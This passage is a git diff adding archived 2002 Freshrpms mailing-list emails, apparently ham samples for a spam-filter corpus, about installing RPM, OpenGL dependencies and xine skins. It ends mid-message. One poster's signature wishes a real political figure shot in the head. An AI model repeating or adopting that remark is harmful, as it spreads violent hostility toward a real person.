+Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 15:53:11 -0500 +Date: Tue, 30 Jul 2002 15:53:11 -0500 + +On Tue, 30 Jul 2002 22:22:24 +0200, "Manfred Grobosch" wrote: + +> I would like to install RPM itself. I have tried to get the information by +> visiting www.rpm.org and the related links they give +> but they all seems to assume that RPM already is installed. +> I have a firewall based on linux-2.2.20 (Smoothwall) for private use. +> I would like to install the RPM package/program but there is no information +> how to do this from scratch. +> Found this site and hopefully some have the knowledge. + + Well, if you have a Windows, SCO, or AIX box, (generally anything BUT Redhat Linux) that'd be the site I'd send you to, to get it installed. I've been there for the same reason, under SCO. Maybe you missed something? + + What OS are you running, anyway? + + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01180.1a4d78b42a5f3e169cd99b57445f6c7f b/bayes/spamham/easy_ham_2/01180.1a4d78b42a5f3e169cd99b57445f6c7f new file mode 100644 index 0000000..ecbdab5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01180.1a4d78b42a5f3e169cd99b57445f6c7f @@ -0,0 +1,72 @@ +From rpm-list-admin@freshrpms.net Wed Jul 31 05:52:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 77C244406D + for ; Wed, 31 Jul 2002 00:52:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 05:52:22 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6V4n3202843 for + ; Wed, 31 Jul 2002 05:49:03 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6V4bC824682; Wed, 31 Jul 2002 06:37:18 + +0200 +Received: from blueyonder.co.uk (pcow057o.blueyonder.co.uk + [195.188.53.94]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6V4Zj819651 for ; Wed, 31 Jul 2002 06:35:45 +0200 +Received: from pcow057o.blueyonder.co.uk ([127.0.0.1]) by blueyonder.co.uk + with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 31 Jul 2002 05:35:45 +0100 +Received: from localhost.localdomain (unverified [213.48.244.15]) by + pcow057o.blueyonder.co.uk (Content Technologies SMTPRS 4.2.9) with ESMTP + id for + ; Wed, 31 Jul 2002 05:35:45 +0100 +Content-Type: text/plain; charset="us-ascii" +From: John Hinsley +To: rpm-zzzlist@freshrpms.net +Subject: OpenGL +User-Agent: KMail/1.4.1 +MIME-Version: 1.0 +Message-Id: <200207310534.37053.johnhinsley@blueyonder.co.uk> +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g6V4Zj819651 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 05:34:37 +0100 +Date: Wed, 31 Jul 2002 05:34:37 +0100 + +First, thanks for all the rpms, and especially ogle (which comes very close to +working perfectly on my Cyrix 333 box!). + +Now, I desperately need some games, especially TuxKart and FlightGear, but I +forever get stuck on a dependency: everything needs OpenGL. Querying the rpm +database for OpenGL gets me nowhere fast. Can anyone point me in the right +direction? What, in RedHat, provides OpenGL? + +Sorry for the question, but I've just switched from SuSE and I'm used to being +able to tell YaST to sort out the dependencies........ + +Cheers + +John + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01181.111f3287c9a71c41b521cf0f2fcbc01e b/bayes/spamham/easy_ham_2/01181.111f3287c9a71c41b521cf0f2fcbc01e new file mode 100644 index 0000000..80bb109 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01181.111f3287c9a71c41b521cf0f2fcbc01e @@ -0,0 +1,71 @@ +From rpm-list-admin@freshrpms.net Wed Jul 31 10:07:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 39DC44406D + for ; Wed, 31 Jul 2002 05:07:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 10:07:46 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6V90Q212158 for + ; Wed, 31 Jul 2002 10:00:27 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6V8s2822287; Wed, 31 Jul 2002 10:54:02 + +0200 +Received: from mail.addix.net (kahless.addix.net [195.179.139.19]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6V8rD821915 for + ; Wed, 31 Jul 2002 10:53:13 +0200 +Received: from wolf359 (cic.ision-kiel.de [195.179.139.139]) by + mail.addix.net (8.9.3/8.9.3) with SMTP id KAA10687 for + ; Wed, 31 Jul 2002 10:52:35 +0200 +From: Ralf Ertzinger +To: rpm-zzzlist@freshrpms.net +Subject: Re: OpenGL +Message-Id: <20020731105351.1d4fb004.ralf@camperquake.de> +In-Reply-To: <200207310534.37053.johnhinsley@blueyonder.co.uk> +References: <200207310534.37053.johnhinsley@blueyonder.co.uk> +Organization: [NDC] ;-) +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 10:53:51 +0200 +Date: Wed, 31 Jul 2002 10:53:51 +0200 + +Hi. + +John Hinsley wrote: + +> Querying the rpm database for OpenGL gets me nowhere fast. Can anyone +> point me in the right direction? What, in RedHat, provides OpenGL? + +The X server itself does (or does not, depending on your driver). There +is a software fallback called Mesa compiled in the X server, which +is used as a fallback. So, if you have installed X, you have OpenGL. +Try the glxinfo command to see the capabilities provided by your +X system. + +-- +R! + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01182.11a37b3edb07a72f37bc144530034ddc b/bayes/spamham/easy_ham_2/01182.11a37b3edb07a72f37bc144530034ddc new file mode 100644 index 0000000..e645098 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01182.11a37b3edb07a72f37bc144530034ddc @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Wed Jul 31 11:08:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 581EE4406D + for ; Wed, 31 Jul 2002 06:08:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:08:52 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VA2v215126 for + ; Wed, 31 Jul 2002 11:02:57 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6V9v2822782; Wed, 31 Jul 2002 11:57:03 + +0200 +Received: from demuslinux.araneum.dk (nat2.araneum.dk [195.54.85.250]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6V9u3821138 for + ; Wed, 31 Jul 2002 11:56:04 +0200 +Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) + by demuslinux.araneum.dk (8.11.6/8.11.6) with ESMTP id g6VA18D02876 for + ; Wed, 31 Jul 2002 12:01:08 +0200 +Subject: Re: OpenGL +From: Daniel Demus +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <200207310534.37053.johnhinsley@blueyonder.co.uk> +References: <200207310534.37053.johnhinsley@blueyonder.co.uk> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1028109668.2410.1.camel@demuslinux> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 31 Jul 2002 12:01:07 +0200 +Date: 31 Jul 2002 12:01:07 +0200 + +On Wed, 2002-07-31 at 06:34, John Hinsley wrote: +> First, thanks for all the rpms, and especially ogle (which comes very close to +> working perfectly on my Cyrix 333 box!). +> +> Now, I desperately need some games, especially TuxKart and FlightGear, but I +> forever get stuck on a dependency: everything needs OpenGL. Querying the rpm +> database for OpenGL gets me nowhere fast. Can anyone point me in the right +> direction? What, in RedHat, provides OpenGL? +> + +If you have an NVIDIA card, the NVIDIA_GLX rpm provides OpenGL. It's for +the NVidia proprietory drivers. + +Daniel + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01183.a6c69ac786145115a2ad4f06c986bc3d b/bayes/spamham/easy_ham_2/01183.a6c69ac786145115a2ad4f06c986bc3d new file mode 100644 index 0000000..4fb7e57 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01183.a6c69ac786145115a2ad4f06c986bc3d @@ -0,0 +1,139 @@ +From rpm-list-admin@freshrpms.net Wed Jul 31 16:45:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1B2A7440A8 + for ; Wed, 31 Jul 2002 11:45:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:45:58 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VFgV231526 for + ; Wed, 31 Jul 2002 16:42:31 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6VFb7J28521; Wed, 31 Jul 2002 17:37:08 + +0200 +Received: from blueyonder.co.uk (pcow035o.blueyonder.co.uk + [195.188.53.121]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6VFaVJ27654 for ; Wed, 31 Jul 2002 17:36:32 +0200 +Received: from pcow035o.blueyonder.co.uk ([127.0.0.1]) by blueyonder.co.uk + with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 31 Jul 2002 16:36:25 +0100 +Received: from localhost.localdomain (unverified [213.48.245.80]) by + pcow035o.blueyonder.co.uk (Content Technologies SMTPRS 4.2.9) with ESMTP + id for + ; Wed, 31 Jul 2002 16:36:25 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: John Hinsley +To: rpm-zzzlist@freshrpms.net +Subject: Re: OpenGL +User-Agent: KMail/1.4.1 +References: <200207310534.37053.johnhinsley@blueyonder.co.uk> + <20020731105351.1d4fb004.ralf@camperquake.de> +In-Reply-To: <20020731105351.1d4fb004.ralf@camperquake.de> +MIME-Version: 1.0 +Message-Id: <200207311635.18353.johnhinsley@blueyonder.co.uk> +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g6VFaVJ27654 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 16:35:18 +0100 +Date: Wed, 31 Jul 2002 16:35:18 +0100 + +On Wednesday 31 Jul 2002 9:53 am, Ralf Ertzinger wrote: +> Hi. +> +> John Hinsley wrote: +> > Querying the rpm database for OpenGL gets me nowhere fast. Can anyone +> > point me in the right direction? What, in RedHat, provides OpenGL? +> +> The X server itself does (or does not, depending on your driver). There +> is a software fallback called Mesa compiled in the X server, which +> is used as a fallback. So, if you have installed X, you have OpenGL. +> Try the glxinfo command to see the capabilities provided by your +> X system. + +I get: + +[john@localhost john]$ glxinfo +name of display: :0.0 +display: :0 screen: 0 +direct rendering: Yes +server glx vendor string: NVIDIA Corporation +server glx version string: 1.2 +server glx extensions: + GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_SGIX_fbconfig, + GLX_SGIX_pbuffer +client glx vendor string: NVIDIA Corporation +client glx version string: 1.2 +client glx extensions: + GLX_ARB_get_proc_address, GLX_ARB_multisample, GLX_EXT_visual_info, + GLX_EXT_visual_rating, GLX_EXT_import_context, GLX_SGI_video_sync, + GLX_SGIX_swap_group, GLX_SGIX_swap_barrier, GLX_SGIX_fbconfig, + GLX_SGIX_pbuffer +GLX extensions: + GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_SGIX_fbconfig, + GLX_SGIX_pbuffer, GLX_ARB_get_proc_address +OpenGL vendor string: NVIDIA Corporation +OpenGL renderer string: RIVA TNT2/AGP +OpenGL version string: 1.3.1 NVIDIA 29.60 +OpenGL extensions: + GL_ARB_imaging, GL_ARB_multitexture, GL_ARB_texture_env_add, + GL_ARB_transpose_matrix, GL_EXT_abgr, GL_EXT_bgra, + GL_EXT_compiled_vertex_array, GL_EXT_draw_range_elements, + GL_EXT_fog_coord, GL_EXT_multi_draw_arrays, GL_EXT_packed_pixels, + GL_EXT_point_parameters, GL_EXT_rescale_normal, GL_EXT_secondary_color, + GL_EXT_separate_specular_color, GL_EXT_stencil_wrap, + GL_EXT_texture_edge_clamp, GL_EXT_texture_env_add, + GL_EXT_texture_env_combine, GL_EXT_texture_lod_bias, + GL_EXT_texture_object, GL_EXT_vertex_array, GL_EXT_vertex_weighting, + GL_IBM_texture_mirrored_repeat, GL_KTX_buffer_region, GL_NV_blend_square, + GL_NV_evaluators, GL_NV_fog_distance, GL_NV_packed_depth_stencil, + GL_NV_texgen_reflection, GL_NV_texture_env_combine4 +glu version: 1.3 +glu extensions: + GLU_EXT_nurbs_tessellator, GLU_EXT_object_space_tess + + visual x bf lv rg d st colorbuffer ax dp st accumbuffer ms cav + id dep cl sp sz l ci b ro r g b a bf th cl r g b a ns b eat +---------------------------------------------------------------------- +0x21 16 tc 0 16 0 r y . 5 6 5 0 0 16 0 16 16 16 16 0 0 None +0x22 16 dc 0 16 0 r y . 5 6 5 0 0 16 0 16 16 16 16 0 0 None +0x23 16 tc 0 16 0 r . . 5 6 5 0 0 16 0 16 16 16 16 0 0 None +0x24 16 dc 0 16 0 r . . 5 6 5 0 0 16 0 16 16 16 16 0 0 None + +So, I *do* have OpenGL, thanks all. + +Problem is that I can't find an rpm of plib which will install (or recognise +that I have open GL). I guess I'll have to try and do that from source, +unless anyone has any ideas? + +Cheers + +John + +John + +But I can't seem to find a version + + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01184.17a1b04c885fe5cb56c60e3b9bebf7e6 b/bayes/spamham/easy_ham_2/01184.17a1b04c885fe5cb56c60e3b9bebf7e6 new file mode 100644 index 0000000..15ba391 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01184.17a1b04c885fe5cb56c60e3b9bebf7e6 @@ -0,0 +1,62 @@ +From rpm-list-admin@freshrpms.net Wed Jul 31 16:58:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2A239440C8 + for ; Wed, 31 Jul 2002 11:58:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:58:12 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VFul231935 for + ; Wed, 31 Jul 2002 16:56:48 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6VFq1J02229; Wed, 31 Jul 2002 17:52:01 + +0200 +Received: from web20805.mail.yahoo.com (web20805.mail.yahoo.com + [216.136.226.194]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g6VForJ30634 for ; Wed, 31 Jul 2002 17:50:54 +0200 +Message-Id: <20020731155048.71783.qmail@web20805.mail.yahoo.com> +Received: from [192.35.37.20] by web20805.mail.yahoo.com via HTTP; + Wed, 31 Jul 2002 08:50:48 PDT +From: Doug Stewart +Subject: Two questions +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <200207311635.18353.johnhinsley@blueyonder.co.uk> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 08:50:48 -0700 (PDT) +Date: Wed, 31 Jul 2002 08:50:48 -0700 (PDT) + +Maybe I'm just blind, but I've been poking through the +archives of this list trying to find 1) what +up-to-date KDE3 repositories are available and 2) +where all the Xine skins went. + +Anybody? + +__________________________________________________ +Do You Yahoo!? +Yahoo! Health - Feel better, live better +http://health.yahoo.com + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01185.f32afd8b16453630bd5dc8eed551befe b/bayes/spamham/easy_ham_2/01185.f32afd8b16453630bd5dc8eed551befe new file mode 100644 index 0000000..63396c9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01185.f32afd8b16453630bd5dc8eed551befe @@ -0,0 +1,75 @@ +From rpm-list-admin@freshrpms.net Wed Jul 31 17:10:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9B889440A8 + for ; Wed, 31 Jul 2002 12:10:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:10:26 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VG7r232487 for + ; Wed, 31 Jul 2002 17:07:54 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6VG31J18596; Wed, 31 Jul 2002 18:03:01 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6VG26J17698 for + ; Wed, 31 Jul 2002 18:02:07 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Two questions +Message-Id: <20020731180130.7a1fae9e.matthias@egwn.net> +In-Reply-To: <20020731155048.71783.qmail@web20805.mail.yahoo.com> +References: <200207311635.18353.johnhinsley@blueyonder.co.uk> + <20020731155048.71783.qmail@web20805.mail.yahoo.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 18:01:30 +0200 +Date: Wed, 31 Jul 2002 18:01:30 +0200 + +Once upon a time, Doug wrote : + +> Maybe I'm just blind, but I've been poking through the +> archives of this list trying to find 1) what +> up-to-date KDE3 repositories are available and 2) +> where all the Xine skins went. + +For that n°2, it's simple : They've been pulled out from the upstream xine +source. I guess I should make a "xine-skins" package if there is enough +demand for it ;-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01186.0bbe8bddf593e88ef6b421b8e22caeab b/bayes/spamham/easy_ham_2/01186.0bbe8bddf593e88ef6b421b8e22caeab new file mode 100644 index 0000000..c84038f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01186.0bbe8bddf593e88ef6b421b8e22caeab @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Wed Jul 31 18:33:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B53D5440A8 + for ; Wed, 31 Jul 2002 13:33:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:33:10 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VHIq202582 for + ; Wed, 31 Jul 2002 18:18:53 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6VH73J29787; Wed, 31 Jul 2002 19:07:04 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6VH65J22354 for + ; Wed, 31 Jul 2002 19:06:06 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Two questions +Message-Id: <20020731190156.2c6d6194.matthias@egwn.net> +In-Reply-To: <20020731180130.7a1fae9e.matthias@egwn.net> +References: <200207311635.18353.johnhinsley@blueyonder.co.uk> + <20020731155048.71783.qmail@web20805.mail.yahoo.com> + <20020731180130.7a1fae9e.matthias@egwn.net> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 19:01:56 +0200 +Date: Wed, 31 Jul 2002 19:01:56 +0200 + +Once upon a time, Matthias wrote : + +> For that n°2, it's simple : They've been pulled out from the upstream +> xine source. I guess I should make a "xine-skins" package if there is +> enough demand for it ;-) + +Well, replying to my own post, sorry ;-) +There is now a 1.3MB xine-skins package that includes all the available +skins that can be found on the xine website. + +Time to "apt-get install xine-skins" for those who started to miss xinetic +or lcd ;-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01187.53063c4a5d1cd337d5c6160f2a5fad8a b/bayes/spamham/easy_ham_2/01187.53063c4a5d1cd337d5c6160f2a5fad8a new file mode 100644 index 0000000..e002b33 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01187.53063c4a5d1cd337d5c6160f2a5fad8a @@ -0,0 +1,134 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 11:26:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38B2C440E5 + for ; Thu, 1 Aug 2002 06:26:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 11:26:17 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g719Wh205362 for + ; Thu, 1 Aug 2002 10:32:43 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g719R1J25247; Thu, 1 Aug 2002 11:27:01 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g719PnJ12492 for + ; Thu, 1 Aug 2002 11:25:49 +0200 +From: Matthias Saou +To: RPM-List +Subject: Quick php advice needed :-) +Message-Id: <20020801105156.73fb7f9f.matthias@egwn.net> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: multipart/mixed; + boundary="Multipart_Thu__1_Aug_2002_10:51:56_+0200_0865e508" +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 1 Aug 2002 10:51:56 +0200 +Date: Thu, 1 Aug 2002 10:51:56 +0200 + +This is a multi-part message in MIME format. + +--Multipart_Thu__1_Aug_2002_10:51:56_+0200_0865e508 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit + +Sorry, this hasn't got much to do with rpm packages directly ;-) + +My "builds" page is getting bigger and bigger, and quite messy as +directories are listed in no particular order : +http://freshrpms.net/builds/ + +What I'd need is to have last modification date of the directory displayed +next to the directory name (sort of like "mplayer - Thu Aug 1 2002"), and +the list ordered to have the most recent entries at the top. + +Now, if there are php programmers on this list, I'd love to have their help +on how to do this ;-) It must be quite simple to get the system mtime for +the 